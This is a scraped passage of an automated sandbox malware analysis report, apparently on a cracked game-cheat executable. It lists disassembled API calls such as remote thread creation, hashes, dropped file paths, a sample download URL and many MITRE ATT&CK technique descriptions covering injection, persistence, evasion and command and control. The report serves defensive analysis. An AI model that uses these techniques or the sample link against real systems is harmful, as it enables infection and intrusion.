Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 83F0E221710B80F1E714DBC5F40C69C2360EB8CBC0F69E9A5AA4983B58CE3AC894C740

Function 0000022C35FDD608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000022C35FDD631
TlsSetValue.KERNEL32 ref: 0000022C35FDD648

Strings

FlsSetValue, xrefs: 0000022C35FDD61E

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 3717b92f0b853b9cda3c742bdf2ed99bd43a3d58ac93a7442423e71be39052dd
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: 86E06D61304A40F1EA15CBD4F80C6AC2262EB8C7C0F69D9A6E9098A299CE3AC855C700

Analysis Process: MemeSense Crack.exePID: 3812, Parent PID: 4380COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02EB42C4 Relevance: 1.5, APIs: 1, Instructions: 41
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThreadEx.KERNELBASE(000000FF,?,?,?,?,?,00000000,?), ref: 02EB4332

Memory Dump Source

Source File: 00000059.00000002.2262735040.0000000002EB2000.00000040.00001000.00020000.00000000.sdmp, Offset: 02EB2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_89_2_2eb2000_MemeSense Crack.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: a2000aab9941b37de3475cbf95dcde10ae1f8705291dacaf60b92a113439c5d6
Instruction ID: c5fea9a1aea4683c63b17fc6dd61dd6cee2d7b7d99cfb5f70d48de7dc36b187e
Opcode Fuzzy Hash: a2000aab9941b37de3475cbf95dcde10ae1f8705291dacaf60b92a113439c5d6
Instruction Fuzzy Hash: BE01217244E3D59FDB038F648C20AD53F30AF17210B1941CBF995DB0E3C229852AE752

Function 02EB42C8 Relevance: 1.5, APIs: 1, Instructions: 40
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThreadEx.KERNELBASE(000000FF,?,?,?,?,?,00000000,?), ref: 02EB4332

Memory Dump Source

Source File: 00000059.00000002.2262735040.0000000002EB2000.00000040.00001000.00020000.00000000.sdmp, Offset: 02EB2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_89_2_2eb2000_MemeSense Crack.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 8c3f6b550e2be725ee3a8ebc63f043ed64c10247556f0948a4503745576d0587
Instruction ID: 2c45822789ead817dd55ec4b2564c2697c6746f27a5062b746aff9ff8e00d174
Opcode Fuzzy Hash: 8c3f6b550e2be725ee3a8ebc63f043ed64c10247556f0948a4503745576d0587
Instruction Fuzzy Hash: B4010C7244E3D59FCB138F648C119963F306B07614B1D01CBE9D5DA1B3C2298829E752

Function 02EB4313 Relevance: 1.5, APIs: 1, Instructions: 15
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThreadEx.KERNELBASE(000000FF,?,?,?,?,?,00000000,?), ref: 02EB4332

Memory Dump Source

Source File: 00000059.00000002.2262735040.0000000002EB2000.00000040.00001000.00020000.00000000.sdmp, Offset: 02EB2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_89_2_2eb2000_MemeSense Crack.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 1e2756dbf6fd3c0465f794e70a543c776839360e8ce63ade4e131a142a9bdb9f
Instruction ID: ccf6294e8e79fd97038b3d55fb8eab2ffd26eed9919174730df150ce777fd727
Opcode Fuzzy Hash: 1e2756dbf6fd3c0465f794e70a543c776839360e8ce63ade4e131a142a9bdb9f
Instruction Fuzzy Hash: 5AD06CB704010EBFCF029E85DC02EDA7B2AEB18360F158201BE34552A1C77695B1ABA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://oxy.st/d/SmUh

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Sigma Signatures

Operating System Destruction

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Libs\WR64.sys

C:\Program Files\Microsoft\Edge\updater.exe

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Google\Chrome\User Data\component_crx_cache\neifaoindggfcjicffkgpmnlppeffabd_1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed (copy)

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Windows Analysis Report
https://oxy.st/d/SmUh

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre